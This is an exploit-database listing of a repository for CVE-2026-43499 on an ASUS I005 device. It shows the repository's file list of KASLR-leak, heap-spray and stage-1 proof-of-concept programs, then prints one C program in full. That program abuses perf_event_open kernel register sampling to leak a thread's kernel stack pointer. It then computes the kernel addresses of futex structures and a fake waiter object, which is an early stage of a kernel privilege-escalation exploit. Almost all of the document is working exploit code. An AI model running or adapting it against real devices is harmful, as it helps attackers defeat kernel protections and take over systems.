Exploit databaseDownload repository ZIP
GH-c138f49e12cfbda9c38e831e92b126e9
huaguiqi/asus-i005-cve-2026-43499
Sources for CVE-2026-43499
164 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files38
huaguiqi/asus-i005-cve-2026-43499Revision 759f8fe75bb8
- ↑..Parent directory
- leak_kaslr_chain.c
- leak_kaslr_multi.c
- leak_kaslr_multi2.c
- leak_kaslr_multi3.c
- leak_kaslr_v10.c
- leak_kaslr_v11.c
- leak_kaslr_v12.c
- leak_kaslr_v5.c
- leak_kaslr_v6.c
- leak_kaslr_v7.c
- leak_kaslr_v8.c
- leak_kaslr_v9.c
- leak_wcallchain.c
- leak_wstack.c
- leak_wstack2.c
- leak_wstack3.c
- leak_wstack4.c
- leak_wstack_final.c
- leak_wstack_v5.c
- leak_wstack_v6.c
- poc_stage1_reclaim.c
- poc_stage1_single.c
- poc_stage1_v5.c
- poc_stage1_v6.c
- poc_stage1_v7.c
- poc_stage1_v8.c
- poc_stage1_v9.c
- prctl_min.c
- ps_main.c
- ps_min.c
- ps_warm.c
- ps_zero.c
- recon_leak.c
- recon_leak2.c
- sendmmsg_min.c
- spray2_min.c
- stack_spray_min.c
- uname_min.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/legacy/leak_wstack4.c
C · 6,932 bytes#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#ifndef SYS_perf_event_open
#define SYS_perf_event_open 241
#endif
#define PERF_EVENT_IOC_ENABLE _IO('$', 0)
#define PERF_EVENT_IOC_DISABLE _IO('$', 1)
#define PERF_SAMPLE_IP (1ULL << 0)
#define PERF_SAMPLE_TID (1ULL << 1)
#define PERF_SAMPLE_REGS_INTR (1ULL << 18)
#define REG_SP (1ULL << 31)
#define REG_PC (1ULL << 32)
#define PERF_RECORD_SAMPLE 9
struct __attribute__((packed)) perf_event_header_k {
uint32_t type;
uint16_t misc;
uint16_t size;
};
struct perf_event_attr_full {
uint32_t type, size;
uint64_t config, sample_period, sample_type, read_format;
uint64_t disabled:1, inherit:1, pinned:1, exclusive:1,
exclude_user:1, exclude_kernel:1, exclude_hv:1, exclude_idle:1,
mmap:1, comm:1, freq:1, inherit_stat:1, enable_on_exec:1, task:1,
watermark:1, precise_ip:2, mmap_data:1, sample_id_all:1,
exclude_host:1, exclude_guest:1,
exclude_callchain_kernel:1, exclude_callchain_user:1,
mmap2:1, comm_exec:1, use_clockid:1, context_switch:1,
write_backward:1, namespaces:1, ksymbol:1, bpf_event:1,
aux_output:1, cgroup:1, text_poke:1, build_id:1,
inherit_thread:1, remove_on_exec:1, sigtrap:1, __reserved_1:26;
uint32_t wakeup_events, bp_type;
uint64_t bp_addr, bp_len, branch_sample_type;
uint64_t sample_regs_user;
uint32_t sample_stack_user;
int32_t clockid;
uint64_t sample_regs_intr;
uint32_t aux_watermark;
uint16_t sample_max_stack, __reserved_2;
uint32_t aux_sample_size, __reserved_3;
uint64_t sig_data;
};
static volatile int stop = 0;
static pid_t g_w_tid = 0;
static void *thread_w(void *arg)
{
(void)arg;
g_w_tid = (pid_t)syscall(SYS_gettid);
while (!stop) {
syscall(SYS_getpid);
syscall(SYS_gettid);
syscall(SYS_getuid);
syscall(SYS_getppid);
syscall(SYS_getpgid, 0);
}
return NULL;
}
int main(void)
{
dprintf(2, "==== Stage 1.6 v4 ====\n");
pthread_t t;
pthread_create(&t, NULL, thread_w, NULL);
while (g_w_tid == 0) usleep(1000);
usleep(100 * 1000);
dprintf(2, "W tid=%d\n", g_w_tid);
struct perf_event_attr_full attr;
memset(&attr, 0, sizeof(attr));
attr.type = 0; attr.size = sizeof(attr); attr.config = 0;
attr.sample_period = 100;
attr.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_TID | PERF_SAMPLE_REGS_INTR;
attr.sample_regs_intr = REG_SP | REG_PC;
attr.exclude_user = 1;
attr.exclude_kernel = 0;
attr.disabled = 1;
attr.wakeup_events = 1;
int fd = syscall(SYS_perf_event_open, &attr, g_w_tid, -1, -1, 0);
if (fd < 0) { dprintf(2, "perf_event_open errno=%d\n", errno); stop=1; pthread_join(t,NULL); return 1; }
size_t buf_size = 4096 * 9;
void *map = mmap(NULL, buf_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) { stop=1; pthread_join(t,NULL); return 1; }
volatile uint64_t *data_head = (volatile uint64_t *)((char*)map + 1024);
volatile uint64_t *data_tail = (volatile uint64_t *)((char*)map + 1032);
*data_tail = 0;
ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
usleep(500 * 1000);
ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);
stop = 1;
pthread_join(t, NULL);
__sync_synchronize();
uint64_t head = *data_head;
uint64_t avail_total = head - *data_tail;
dprintf(2, "avail=%llu\n", (unsigned long long)avail_total);
uint8_t *data = (uint8_t *)map + 4096;
uint64_t size = buf_size - 4096;
uint64_t off = 0;
uint64_t avail = avail_total;
uint64_t min_sp = ~0ULL, max_sp = 0;
uint64_t samples_sp[64];
int n_samples = 0;
int total_samples = 0, matching = 0, other_records = 0;
int type_hist[32] = {0};
while (avail >= 8) {
struct perf_event_header_k h;
memcpy(&h, data + off, 8);
if (h.size < 8 || h.size > avail) {
dprintf(2, " break at off=0x%llx type=%u size=%u avail=0x%llx\n",
(unsigned long long)off, h.type, h.size, (unsigned long long)avail);
break;
}
if (h.type < 32) type_hist[h.type]++;
if (h.type == PERF_RECORD_SAMPLE) {
total_samples++;
uint64_t s = off + 8; /* skip header */
uint64_t ip; uint32_t pid, tid; uint64_t abi, sp, pc;
memcpy(&ip, data + s, 8); s += 8;
memcpy(&pid, data + s, 4); s += 4;
memcpy(&tid, data + s, 4); s += 4;
memcpy(&abi, data + s, 8); s += 8;
memcpy(&sp, data + s, 8); s += 8;
memcpy(&pc, data + s, 8); s += 8;
if (tid == (uint32_t)g_w_tid && abi == 2) {
matching++;
if (sp < min_sp) min_sp = sp;
if (sp > max_sp) max_sp = sp;
if (n_samples < 64) samples_sp[n_samples++] = sp;
}
} else {
other_records++;
}
off = (off + h.size) % size;
avail -= h.size;
}
dprintf(2, "其他 record=%d 样本=%d 匹配 W=%d\n",
other_records, total_samples, matching);
dprintf(2, "record 类型分布: ");
for (int i = 0; i < 32; i++) if (type_hist[i]) dprintf(2, "type%d=%d ", i, type_hist[i]);
dprintf(2, "\n");
dprintf(2, "SP min=0x%016llx max=0x%016llx 差=0x%llx\n",
(unsigned long long)min_sp, (unsigned long long)max_sp,
(unsigned long long)(max_sp - min_sp));
dprintf(2, "前 20 个 SP:\n");
for (int i = 0; i < n_samples && i < 20; i++)
dprintf(2, " [%d] 0x%016llx\n", i, (unsigned long long)samples_sp[i]);
if (matching == 0) {
dprintf(2, "!! 无匹配样本\n");
munmap(map, buf_size); close(fd);
return 1;
}
uint64_t stack_base = min_sp & ~((uint64_t)0x3fff);
uint64_t sp_top = stack_base + 0x4000;
dprintf(2, "\n==== 推算 ====\n");
dprintf(2, " min_sp = 0x%016llx\n", (unsigned long long)min_sp);
dprintf(2, " stack_base = 0x%016llx\n", (unsigned long long)stack_base);
dprintf(2, " sp_top = 0x%016llx\n", (unsigned long long)sp_top);
dprintf(2, " do_futex sp= 0x%016llx\n", (unsigned long long)(sp_top - 0x70));
dprintf(2, " futex_q = 0x%016llx\n", (unsigned long long)(sp_top - 0x140));
dprintf(2, " fake_waiter= 0x%016llx\n", (unsigned long long)(sp_top - 0x1b0));
int bad = 0;
for (int i = 0; i < n_samples; i++)
if (samples_sp[i] < stack_base || samples_sp[i] >= sp_top) bad++;
dprintf(2, " 样本中 %d/%d 落在栈内\n", n_samples - bad, n_samples);
munmap(map, buf_size);
close(fd);
dprintf(2, "==== done ====\n");
return 0;
}